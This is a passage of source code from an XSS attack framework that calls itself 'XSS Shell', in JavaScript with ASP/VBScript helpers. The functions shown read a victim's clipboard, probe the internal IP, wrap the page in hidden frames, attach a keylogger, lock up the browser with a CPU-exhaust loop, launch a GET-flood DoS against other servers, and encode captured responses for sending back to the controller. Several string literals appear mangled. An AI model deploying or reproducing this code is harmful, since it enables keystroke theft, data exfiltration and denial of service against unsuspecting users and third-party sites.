  960.     if (!window.clipboardData)
  961.       return "{NO BROWSER SUPPORT}";
  962.              
  963.     var txt = clipboardData.getData("Text");
  964.       return (txt!=null)? txt : "{EMPTY}";
  965. }
  966. /*
  967.     Code partially : 
  968.         - http://f-box.org/~dan/ 
  969.         - http://www.gnucitizen.org/projects/javascript-address-info/addressinfo.js
  970. Get internal IP only supports Mozilla
  971. */
  972. function getInternalIP(){
  973.         
  974.         try{
  975.             var sock = new java.net.Socket();
  976.        sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
  977.         sock.connect(new java.net.InetSocketAddress(d.domain, (!d.location.port)?80:d.location.port));
  978.      host = sock.getLocalAddress().getHostName();
  979.         ip = sock.getLocalAddress().getHostAddress();
  980.     
  981.      return "Host:" + host + ";" + "IP:" + ip;            
  982.         }
  983.         catch(e){
  984.             return "{NOT SUPPORTED}"
  985.         }
  986. }
  987. /*
  988. Add Iframe 
  989. */
  990. function addRegenIframe(){
  991. cIframe = document.createElement("iframe");
  992. cIframe.id = REGEN_IFRAME_ID;
  993. cIframe.name = REGEN_IFRAME_ID;
  994. cIframe.width = "100%";
  995. cIframe.height = "100%";
  996. cIframe.style.border = "none";
  997. cIframe.style.padding = "0";
  998. cIframe.style.margin = "0";
  999. cIframe.frameBorder = "0";
  1000. document.body.appendChild(cIframe);
  1001. window.frames[REGEN_IFRAME_ID].document.location = THIS_SRC;
  1002. attachKeylogger(REGEN_IFRAME_ID);
  1003. }
  1004. /*
  1005. Regenerate current page in framesets with controller
  1006. */
  1007. function addRegenFramesets(){
  1008. // Load itself to controller
  1009. var jsME = "<script src=\"" + ME + "\"><\/script>";
  1010. // Build Frameset HTML
  1011. var tmpHtml  = "<scr"+"ipt>function ff(){var fd = document.getElementById("" + CONTROLLER_ID + "").contentWindow.document;";
  1012. tmpHtml += "fd.write("";
  1013. tmpHtml += "<h2>CONTROLLER<h2>" + jsME;
  1014. tmpHtml += "");";
  1015. // 0 Delayed load
  1016. tmpHtml += "nfd.close();n}window.setTimeout("ff()", 0);";
  1017. tmpHtml += "</scr"+"ipt>";
  1018. var frameval = (DEBUGLEVEL > 0)?"70":"100";
  1019. // Framesets
  1020. tmpHtml += "<frameset border="2" frameborder="1" framespacing="2" cols="" +  frameval + "%,*"><frame scrolling="auto" id="" + REGEN_IFRAME_ID + "" name="" + REGEN_IFRAME_ID + "" src="" + THIS_SRC + ""><frame scrolling="auto" id="" + CONTROLLER_ID + "" name="" + CONTROLLER_ID + ""></frameset>";
  1021. // Print
  1022. document.write(tmpHtml);
  1023. document.close();
  1024. }
  1025. /*
  1026. Attack keylogger to subframes
  1027. */
  1028. function attachKeylogger(frameID){
  1029. // BUG : Check the loaded one for if its our function
  1030. if(getDomain().onkeypress == null){
  1031. if(!ie){
  1032. // Only FF
  1033. getDomain().onkeypress = function(e){
  1034. parent.window.frames[CONTROLLER_ID].document;logKeys(e);
  1035. };
  1036. debug("Keylogger attached to " + frameID, 1);
  1037. }else{ // IE
  1038. // Not working, i have no idea why...
  1039. debug("It's an IE and I couldn't figure out how to attach an function with event succesfully...", 2);
  1040. }
  1041. }else{
  1042. debug("Keylogger already attached to " + frameID, 2);
  1043. }
  1044. }
  1045. /*
  1046. Check title changes and apply 
  1047. This function constantly check for changes in sub iframe and update current document title
  1048. 16/08/2006
  1049. - Attach keylogger to new pages
  1050. */
  1051. function checkTitleChanges(){
  1052. // We are checking if its already attached or not we can not rely on title changes...
  1053. attachKeylogger(REGEN_IFRAME_ID);
  1054. try{
  1055. // Just changed
  1056. if(parent.document.title != getDomain().title){
  1057. parent.document.title = getDomain().title;
  1058. }
  1059. }catch(e){
  1060. debug("Possible permission denied error<br>" + e);
  1061. }
  1062. window.setTimeout("checkTitleChanges()", IFRAME_TITLE_FREQ);
  1063. }
  1064. /*
  1065. Consume CPU in all browsers in 1 seconds, generally without any "Stop Script" messagebox.
  1066. Not crashing browser but forcing victim to kill task...
  1067. */
  1068. function cmdCrash(){
  1069. var s="";
  1070. window.setTimeout("crash()", 10);
  1071. while(1){s=document.body.innerHTML+=s+=document.body.innerHTML;}
  1072. }
  1073. /*
  1074. DoS attack (only GET supported) to another web server or something.
  1075. Add x={RANDOM} or something to avoid caching.
  1076. */
  1077. var stopDoS = false;
  1078. function cmdDoS(url, force){
  1079. var df = getFrameCont(getDummyIframe());
  1080. for (var i=0;i<force ;i++ ){
  1081. if(stopDoS)return; // stop it gently
  1082. var mg = df.createElement('img');
  1083. mg.src = url.replace(RANDOM_INT, new Date().getMilliseconds()+i );
  1084. }
  1085. // wait and run again
  1086. waitAndCall("cmdDoS('" + url + "'," + force + ")", WAIT_AND_CALL);
  1087. }
  1088. /*
  1089. Binay Encode
  1090. Encode data in a binary safe way to enable transfer all kind of data
  1091. 15/04/2007
  1092. - Newline big fixed
  1093. */
  1094. function binEncode(input){
  1095. var output = "";
  1096. try{
  1097. for (var i=0;i<input.length;i++){
  1098. var curVal = input.charCodeAt(i);
  1099. var hex = input.charCodeAt(i).toString(16);
  1100. if (curVal>0xFF){
  1101. hex = hex.substring(2,4);
  1102. }else if(curVal<0x10){
  1103. hex = "0" + hex;
  1104. }
  1105. output = output + hex;
  1106. }
  1107. }catch (e){
  1108. debug("Binary encoding failed" + e);
  1109. }
  1110. return output;
  1111. }
  1112. /*
  1113. Build response from XHR object
  1114. <status> <status text>n<headers>nn<BinaryEncodedContent>
  1115. 08.04.2007
  1116. */
  1117. function buildResponse(xhr){
  1118. var status = xhr.status;
  1119. var statusText = xhr.statusText;
  1120. var headers = xhr.getAllResponseHeaders()
  1121. var content;
  1122. content = (ie)?ieBinary(xhr):binEncode(xhr.responseText);
  1123. var ret = status + " " + statusText + "n" + headers + "nn" + content;
  1124. return ret
  1125. }
  1126. <%
  1127. 'ASP HELPER FUNCTIONS
  1128. Function fm_QNStr(byVal Qstring)
  1129. Qstring = Trim(Request.Querystring(Qstring))
  1130. If NOT IsNumeric(Qstring) Then fm_QNStr = DefaultID Else fm_QNStr = Qstring
  1131. End Function
  1132. Function fm_RndNumeric()
  1133. Randomize Timer
  1134. fm_RndNumeric = CLng((Rnd*666139))+1
  1135. End Function
  1136. 'XSS Shell IE Binary Encode Implementation (should work IE6,IE7 and maybe IE5 as well)
  1137. Function LoadVB()
  1138. %>
  1139. Function ieBinary(xhr)
  1140. Dim content, ret, i
  1141. content = xhr.responseBody
  1142. ret = ""
  1143. Dim hc, cret
  1144. For i = 1 To LenB(content)
  1145. hc = AscB(MidB(content,i,1))
  1146. cret = Hex(hc)
  1147. If hc < &H10 Then cret = "0" & cret
  1148. ret = ret & cret
  1149. Next
  1150. ieBinary = ret
  1151. End Function
  1152. <%
  1153. End Function
  1154. %>
  1155. if(!d.loadXSS){init()}